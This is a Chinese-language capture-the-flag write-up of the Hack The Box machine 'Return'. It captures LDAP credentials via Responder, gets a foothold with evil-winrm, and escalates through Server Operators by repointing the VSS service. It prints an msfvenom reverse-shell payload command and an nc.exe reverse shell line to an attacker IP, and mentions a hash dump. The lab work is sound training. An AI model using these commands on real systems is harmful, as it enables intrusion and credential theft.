hackthebox-return-401
hackthebox return
port scan
使用rustscan 扫描目标地址后发现多个端口开放,其中80是http服务。使用gobuster目录爆破,发现
http://10.10.11.108/settings.php
链接.
services
settings.php页面上发现有保存的ldap用户名.
点击update按钮触发post请求,请求体中有ip字段,值为目标域名printer.return.local
。
foothold
将请求体中的ip换成自己机器的ip,并且使用responder监听ldap服务.
使用burp 修改settings.php 请求.
发送请求后,responder处得到目标机器发起的ldap认证信息(用户名/密码);
使用evil-winrm使用ldap用户信息尝试登录:登录成功。
priv esca
枚举信息,发现svc-printer用户在用户组(Server Operators group)中,
根据文档
显示此用户组成员具有以交互方式登录服务器、创建和删除网络共享资源、启动和停止服务、备份和还原文件、格式化计算机的硬盘驱动器以及关闭服务器 。
因为它具有启动/停止服务的权限,尝试使用sc.exe create ...
创建服务失败后,使用修改常见服务的方式执行恶意文件。
- 准备恶意文件
nc.exe即可,这里使用msf payload
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.22 LPORT=9002 EXITFUNC=thread -e x86/shikata_ga_nai -i 10 -f exe -o rev.exe |
- msf 监听payload
使用multi/handler监听对应payload; 服务启动后大约持续5s,即会停止进程;防止连接关闭,设置msf自动migrate进程。
1 | use multi/handler |
- 执行msf payload
通过evil-winrm的 upload方法上传恶意文件,然后修改vss(卷影复制服务,Volume Shadow Copy Service)。
1 | # 设置vss服务 可执行文件路径为 msf payload path |
post
使用msf的post/windows/gather/smart_hashdump模块,执行后利用,dump 用户密码hash.
other func
不使用msf payload,使用普通nc.exe.
1 | # 修改vss可执行文件路径位置 并 提供执行参数 |
得到nc反弹shell后,立刻在此shell中再使用nc.exe创建另一个稳定反弹shell.
1 | C:\windows\tasks\nc.exe -e cmd.exe 10.10.14.22 9003 |